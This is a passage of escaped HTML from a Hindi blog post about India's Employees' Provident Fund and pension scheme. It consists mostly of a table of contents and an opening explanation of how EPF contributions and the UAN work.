href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%86%E0%A4%AA_%E0%A4%85%E0%A4%AA%E0%A4%A8%E0%A5%87_%E0%A4%AA%E0%A5%87%E0%A4%B0%E0%A5%8B%E0%A4%B2_%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%AF%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A5%8B_%E0%A4%86%E0%A4%89%E0%A4%9F%E0%A4%B8%E0%A5%8B%E0%A4%B0%E0%A5%8D%E0%A4%B8_%E0%A4%95%E0%A4%B0%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A4%BE_%E0%A4%B8%E0%A5%8B%E0%A4%9A_%E0%A4%B0%E0%A4%B9%E0%A5%87_%E0%A4%B9%E0%A5%88%E0%A4%82-2\" >\u0915\u094d\u092f\u093e \u0906\u092a \u0905\u092a\u0928\u0947 \u092a\u0947\u0930\u094b\u0932 \u0915\u093e\u0930\u094d\u092f\u094b\u0902 \u0915\u094b \u0906\u0909\u091f\u0938\u094b\u0930\u094d\u0938 \u0915\u0930\u0928\u0947 \u0915\u093e \u0938\u094b\u091a \u0930\u0939\u0947 \u0939\u0948\u0902?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-34\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPFO_%E0%A4%95%E0%A5%87_%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%AB%E0%A4%BE%E0%A4%AF%E0%A4%A6%E0%A5%87_%E0%A4%B9%E0%A5%88%E0%A4%82_Benefits_of_EPFO\" >EPFO \u0915\u0947 \u0915\u094d\u092f\u093e \u092b\u093e\u092f\u0926\u0947 \u0939\u0948\u0902 (Benefits of EPFO)?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-35\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%86%E0%A4%B0%E0%A5%8D%E0%A4%A5%E0%A4%BF%E0%A4%95_%E0%A4%B8%E0%A5%81%E0%A4%B0%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%BE_%E0%A4%94%E0%A4%B0_%E0%A4%B0%E0%A4%BF%E0%A4%9F%E0%A4%BE%E0%A4%AF%E0%A4%B0%E0%A4%AE%E0%A5%87%E0%A4%82%E0%A4%9F_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE%E0%A4%BF%E0%A4%A4_%E0%A4%86%E0%A4%AF_Financial_security_and_regular_income_after_retirement\" >\u0906\u0930\u094d\u0925\u093f\u0915 \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u0914\u0930 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0928\u093f\u092f\u092e\u093f\u0924 \u0906\u092f (Financial security and regular income after retirement)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-36\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A4%BE_%E0%A4%B2%E0%A4%BE%E0%A4%AD_EPS\" >\u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0932\u093e\u092d (EPS)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-37\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%B8%E0%A4%82%E0%A4%97%E0%A4%A0%E0%A4%BF%E0%A4%A4_%E0%A4%94%E0%A4%B0_%E0%A4%B8%E0%A5%81%E0%A4%B0%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%BF%E0%A4%A4_%E0%A4%AF%E0%A5%8B%E0%A4%9C%E0%A4%A8%E0%A4%BE_Organized_and_Secure_Planning\" >\u0938\u0902\u0917\u0920\u093f\u0924 \u0914\u0930 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u092f\u094b\u091c\u0928\u093e (Organized and Secure Planning)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-38\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AC%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%9C_%E0%A4%95%E0%A4%BE_%E0%A4%B2%E0%A4%BE%E0%A4%AD_Benefit_of_interest\" >\u092c\u094d\u092f\u093e\u091c \u0915\u093e \u0932\u093e\u092d (Benefit of interest)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-39\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%86%E0%A4%B8%E0%A4%BE%E0%A4%A8_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B8%E0%A5%80_Easy_Withdrawals\" >\u0906\u0938\u093e\u0928 \u0928\u093f\u0915\u093e\u0938\u0940 (Easy Withdrawals)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-40\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%86%E0%A4%AF%E0%A4%95%E0%A4%B0_%E0%A4%9B%E0%A5%82%E0%A4%9F_Tax_Benefits\" >\u0906\u092f\u0915\u0930 \u091b\u0942\u091f (Tax Benefits)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-41\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%85%E0%A4%B5%E0%A4%B8%E0%A4%B0%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A4%BE_%E0%A4%B5%E0%A4%BF%E0%A4%B8%E0%A5%8D%E0%A4%A4%E0%A4%BE%E0%A4%B0_Expanding_opportunities\" >\u0905\u0935\u0938\u0930\u094b\u0902 \u0915\u093e \u0935\u093f\u0938\u094d\u0924\u093e\u0930 (Expanding opportunities)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-42\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%95%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%9A%E0%A4%BE%E0%A4%B0%E0%A5%80_%E0%A4%95%E0%A5%87_%E0%A4%B2%E0%A4%BF%E0%A4%8F_%E0%A4%95%E0%A4%BE%E0%A4%AE_%E0%A4%95%E0%A4%B0%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A4%BE_%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A5%87%E0%A4%B0%E0%A4%A3%E0%A4%BE_Motivation_to_work_for_employees\" >\u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u0932\u093f\u090f \u0915\u093e\u092e \u0915\u0930\u0928\u0947 \u0915\u093e \u092a\u094d\u0930\u0947\u0930\u0923\u093e (Motivation to work for employees)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-43\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%85%E0%A4%A8%E0%A5%8D%E0%A4%AF_%E0%A4%AF%E0%A5%8B%E0%A4%9C%E0%A4%A8%E0%A4%BE%E0%A4%93%E0%A4%82_%E0%A4%95%E0%A4%BE_%E0%A4%AB%E0%A4%BE%E0%A4%AF%E0%A4%A6%E0%A4%BE_Benefits_of_other_schemes\" >\u0905\u0928\u094d\u092f \u092f\u094b\u091c\u0928\u093e\u0913\u0902 \u0915\u093e \u092b\u093e\u092f\u0926\u093e (Benefits of other schemes)<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-44\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPFO_%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A4%BE_%E0%A4%AA%E0%A5%88%E0%A4%B8%E0%A4%BE_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B2_%E0%A4%B8%E0%A4%95%E0%A4%A4%E0%A5%87_%E0%A4%B9%E0%A5%88%E0%A4%82_How_much_money_can_I_withdraw_from_EPFO\" >EPFO \u0938\u0947 \u0915\u093f\u0924\u0928\u093e \u092a\u0948\u0938\u093e \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902 (How much money can I withdraw from EPFO)?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-45\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%B0%E0%A4%BF%E0%A4%9F%E0%A4%BE%E0%A4%AF%E0%A4%B0%E0%A4%AE%E0%A5%87%E0%A4%82%E0%A4%9F_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_After_retirement\" >\u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 (After retirement)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-46\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%A8%E0%A5%8C%E0%A4%95%E0%A4%B0%E0%A5%80_%E0%A4%AC%E0%A4%A6%E0%A4%B2%E0%A4%A8%E0%A5%87_%E0%A4%AA%E0%A4%B0_On_changing_jobs\" >\u0928\u094c\u0915\u0930\u0940 \u092c\u0926\u0932\u0928\u0947 \u092a\u0930 (On changing jobs)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-47\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%86%E0%A4%82%E0%A4%B6%E0%A4%BF%E0%A4%95_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B8%E0%A5%80_Partial_Withdrawal\" >\u0906\u0902\u0936\u093f\u0915 \u0928\u093f\u0915\u093e\u0938\u0940 (Partial Withdrawal)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-48\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AE%E0%A5%83%E0%A4%A4%E0%A5%8D%E0%A4%AF%E0%A5%81_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_After_death\" >\u092e\u0943\u0924\u094d\u092f\u0941 \u0915\u0947 \u092c\u093e\u0926 (After death)<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-49\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%88%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB%E0%A4%93_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82_How_to_check_EPFO_%E2%80%8B%E2%80%8Bbalance\" >\u0908\u092a\u0940\u090f\u092b\u0913 \u092c\u0948\u0932\u0947\u0902\u0938 \u0915\u0948\u0938\u0947 \u091a\u0947\u0915 \u0915\u0930\u0947\u0902 (How to check EPFO \u200b\u200bbalance)?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-50\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPFO_%E0%A4%95%E0%A5%80_%E0%A4%B5%E0%A5%87%E0%A4%AC%E0%A4%B8%E0%A4%BE%E0%A4%87%E0%A4%9F_%E0%A4%B8%E0%A5%87_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\" >EPFO \u0915\u0940 \u0935\u0947\u092c\u0938\u093e\u0907\u091f \u0938\u0947 \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930\u0947\u0902<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-51\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPFO_%E0%A4%AE%E0%A4%BF%E0%A4%B8%E0%A5%8D%E0%A4%A1_%E0%A4%95%E0%A5%89%E0%A4%B2_%E0%A4%B8%E0%A4%B0%E0%A5%8D%E0%A4%B5%E0%A4%BF%E0%A4%B8_%E0%A4%B8%E0%A5%87_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\" >EPFO \u092e\u093f\u0938\u094d\u0921 \u0915\u0949\u0932 \u0938\u0930\u094d\u0935\u093f\u0938 \u0938\u0947 \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930\u0947\u0902<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-52\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPFO_%E0%A4%AE%E0%A5%8B%E0%A4%AC%E0%A4%BE%E0%A4%87%E0%A4%B2_%E0%A4%90%E0%A4%AA_%E0%A4%B8%E0%A5%87_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\" >EPFO \u092e\u094b\u092c\u093e\u0907\u0932 \u0910\u092a \u0938\u0947 \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930\u0947\u0902<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-53\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#SMS_%E0%A4%95%E0%A5%87_%E0%A4%A6%E0%A5%8D%E0%A4%B5%E0%A4%BE%E0%A4%B0%E0%A4%BE_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\" >SMS \u0915\u0947 \u0926\u094d\u0935\u093e\u0930\u093e \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930\u0947\u0902<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-54\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%91%E0%A4%A8%E0%A4%B2%E0%A4%BE%E0%A4%87%E0%A4%A8_EPF_%E0%A4%AA%E0%A4%BE%E0%A4%B8%E0%A4%AC%E0%A5%81%E0%A4%95_%E0%A4%B8%E0%A5%87_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\" >\u0911\u0928\u0932\u093e\u0907\u0928 EPF \u092a\u093e\u0938\u092c\u0941\u0915 \u0938\u0947 \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930\u0947\u0902<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-55\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#UAN_%E0%A4%B8%E0%A5%87_%E0%A4%B2%E0%A4%BF%E0%A4%82%E0%A4%95%E0%A5%8D%E0%A4%A1_%E0%A4%AC%E0%A5%88%E0%A4%82%E0%A4%95_%E0%A4%96%E0%A4%BE%E0%A4%A4%E0%A5%87_%E0%A4%95%E0%A5%87_%E0%A4%A6%E0%A5%8D%E0%A4%B5%E0%A4%BE%E0%A4%B0%E0%A4%BE_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\" >UAN \u0938\u0947 \u0932\u093f\u0902\u0915\u094d\u0921 \u092c\u0948\u0902\u0915 \u0916\u093e\u0924\u0947 \u0915\u0947 \u0926\u094d\u0935\u093e\u0930\u093e \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930\u0947\u0902<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-56\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%95%E0%A4%BE_%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE_%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%B9%E0%A5%88_What_is_the_rule_of_PF\" >\u092a\u0940\u090f\u092b \u0915\u093e \u0928\u093f\u092f\u092e \u0915\u094d\u092f\u093e \u0939\u0948 (What is the rule of PF) ?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-57\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%95%E0%A5%87_%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A5%87_%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%AE%E0%A5%81%E0%A4%96_%E0%A4%AA%E0%A4%B9%E0%A4%B2%E0%A5%82\" >\u092a\u0940\u090f\u092b \u0915\u0947 \u0928\u093f\u092f\u092e\u094b\u0902 \u0915\u0947 \u092a\u094d\u0930\u092e\u0941\u0916 \u092a\u0939\u0932\u0942:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-58\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A5%87_%E0%A4%B2%E0%A4%BE%E0%A4%AD_Benefits_of_PF_Rules\" >\u092a\u0940\u090f\u092b \u0928\u093f\u092f\u092e\u094b\u0902 \u0915\u0947 \u0932\u093e\u092d (Benefits of PF Rules):<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-59\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#1_%E0%A4%B8%E0%A4%BE%E0%A4%B2_%E0%A4%AE%E0%A5%87%E0%A4%82_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A5%80_%E0%A4%AC%E0%A4%BE%E0%A4%B0_%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B2_%E0%A4%B8%E0%A4%95%E0%A4%A4%E0%A5%87_%E0%A4%B9%E0%A5%88%E0%A4%82_How_many_times_can_PF_be_withdrawn_in_a_year\" >1 \u0938\u093e\u0932 \u092e\u0947\u0902 \u0915\u093f\u0924\u0928\u0940 \u092c\u093e\u0930 \u092a\u0940\u090f\u092b \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902 (How many times can PF be withdrawn in a year?)?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-60\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%86%E0%A4%AE%E0%A4%A4%E0%A5%8C%E0%A4%B0_%E0%A4%AA%E0%A4%B0_%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%8F%E0%A4%95_%E0%A4%AC%E0%A4%BE%E0%A4%B0_%E0%A4%B9%E0%A5%80_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B2%E0%A4%BE_%E0%A4%9C%E0%A4%BE_%E0%A4%B8%E0%A4%95%E0%A4%A4%E0%A4%BE_%E0%A4%B9%E0%A5%88\" >\u0906\u092e\u0924\u094c\u0930 \u092a\u0930 \u092a\u0940\u090f\u092b \u090f\u0915 \u092c\u093e\u0930 \u0939\u0940 \u0928\u093f\u0915\u093e\u0932\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-61\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%95%E0%A5%81%E0%A4%9B_%E0%A4%B5%E0%A4%BF%E0%A4%B6%E0%A5%87%E0%A4%B7_%E0%A4%AA%E0%A4%B0%E0%A4%BF%E0%A4%B8%E0%A5%8D%E0%A4%A5%E0%A4%BF%E0%A4%A4%E0%A4%BF%E0%A4%AF%E0%A5%8B%E0%A4%82_%E0%A4%AE%E0%A5%87%E0%A4%82_%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B2%E0%A4%BE_%E0%A4%9C%E0%A4%BE_%E0%A4%B8%E0%A4%95%E0%A4%A4%E0%A4%BE_%E0%A4%B9%E0%A5%88_%E0%A4%B9%E0%A4%BE%E0%A4%B2%E0%A4%BE%E0%A4%82%E0%A4%95%E0%A4%BF_%E0%A4%95%E0%A5%81%E0%A4%9B_%E0%A4%B8%E0%A5%8D%E0%A4%A5%E0%A4%BF%E0%A4%A4%E0%A4%BF%E0%A4%AF%E0%A5%8B%E0%A4%82_%E0%A4%AE%E0%A5%87%E0%A4%82_%E0%A4%9C%E0%A5%88%E0%A4%B8%E0%A5%87\" >\u0915\u0941\u091b \u0935\u093f\u0936\u0947\u0937 \u092a\u0930\u093f\u0938\u094d\u0925\u093f\u0924\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u092a\u0940\u090f\u092b \u0928\u093f\u0915\u093e\u0932\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948: \u0939\u093e\u0932\u093e\u0902\u0915\u093f, \u0915\u0941\u091b \u0938\u094d\u0925\u093f\u0924\u093f\u092f\u094b\u0902 \u092e\u0947\u0902, \u091c\u0948\u0938\u0947:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-62\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B8%E0%A5%80_%E0%A4%95%E0%A5%80_%E0%A4%B8%E0%A5%80%E0%A4%AE%E0%A4%BE\" >\u0928\u093f\u0915\u093e\u0938\u0940 \u0915\u0940 \u0938\u0940\u092e\u093e:<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-63\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%87%E0%A4%B8_%E0%A4%AC%E0%A5%8D%E0%A4%B2%E0%A5%89%E0%A4%97_%E0%A4%AE%E0%A5%87%E0%A4%82_%E0%A4%B9%E0%A4%AE%E0%A4%A8%E0%A5%87_PF_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%B0%E0%A5%87_%E0%A4%AE%E0%A5%87%E0%A4%82_%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%9C%E0%A4%BE%E0%A4%A8%E0%A4%BE_What_did_we_learn_about_PF_in_this_blog\" >\u0907\u0938 \u092c\u094d\u0932\u0949\u0917 \u092e\u0947\u0902 \u0939\u092e\u0928\u0947 PF \u0915\u0947 \u092c\u093e\u0930\u0947 \u092e\u0947\u0902 \u0915\u094d\u092f\u093e \u091c\u093e\u0928\u093e (What did we learn about PF in this blog)?<\/a><\/li><\/ul><\/nav><\/div>\n\n\n\n\n<p>\u091c\u092c \u0915\u094b\u0908 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u093f\u0938\u0940 \u0915\u0902\u092a\u0928\u0940 \u092e\u0947\u0902 \u0915\u093e\u092e \u0915\u0930\u0924\u093e \u0939\u0948, \u0924\u094b \u0909\u0938\u0915\u0940 \u0938\u0948\u0932\u0930\u0940 \u0915\u093e \u090f\u0915 \u091b\u094b\u091f\u093e \u0939\u093f\u0938\u094d\u0938\u093e \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u0915\u091f\u0915\u0930 EPF \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u092e\u093e \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0915\u0902\u092a\u0928\u0940 \u092d\u0940 \u0909\u0924\u0928\u0940 \u0939\u0940 \u0930\u093e\u0936\u093f \u0909\u0938 \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u092e\u093e \u0915\u0930\u0924\u0940 \u0939\u0948\u0964 \u092f\u0939 \u092a\u0948\u0938\u093e \u0927\u0940\u0930\u0947-\u0927\u0940\u0930\u0947 \u0907\u0915\u091f\u094d\u0920\u093e \u0939\u094b\u0924\u093e \u0930\u0939\u0924\u093e \u0939\u0948 \u0914\u0930 \u0909\u0938 \u092a\u0930 \u092c\u094d\u092f\u093e\u091c \u092d\u0940 \u092e\u093f\u0932\u0924\u093e \u0939\u0948\u0964 \u0928\u094c\u0915\u0930\u0940 \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092f\u093e \u0928\u094c\u0915\u0930\u0940 \u091b\u094b\u0921\u093c\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926, \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0907\u0938 \u092a\u0948\u0938\u0947 \u0915\u094b \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPFO_%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A4%BE%E0%A4%AE_%E0%A4%95%E0%A4%B0%E0%A4%A4%E0%A4%BE%E0%A4%B9%E0%A5%88\"><\/span><strong>EPFO \u0915\u0948\u0938\u0947 \u0915\u093e\u092e \u0915\u0930\u0924\u093e\u0939\u0948?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u0938\u0926\u0938\u094d\u092f<\/strong><strong> <\/strong><strong>\u092c\u0928\u0928\u093e<\/strong><strong>:<\/strong> \u091c\u092c \u0915\u094b\u0908 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 EPFO \u0938\u0947 \u091c\u0941\u0921\u093c\u0940 \u0915\u0902\u092a\u0928\u0940 \u092e\u0947\u0902 \u0915\u093e\u092e \u0915\u0930\u0924\u093e \u0939\u0948, \u0924\u094b \u0935\u0939 \u0905\u092a\u0928\u0947 \u0906\u092a EPF \u092f\u094b\u091c\u0928\u093e \u0915\u093e \u0938\u0926\u0938\u094d\u092f \u092c\u0928 \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0909\u0938\u0915\u0947 \u0932\u093f\u090f \u090f\u0915 \u092f\u0942\u0928\u093f\u0935\u0930\u094d\u0938\u0932 \u0905\u0915\u093e\u0909\u0902\u091f \u0928\u0902\u092c\u0930 (UAN) 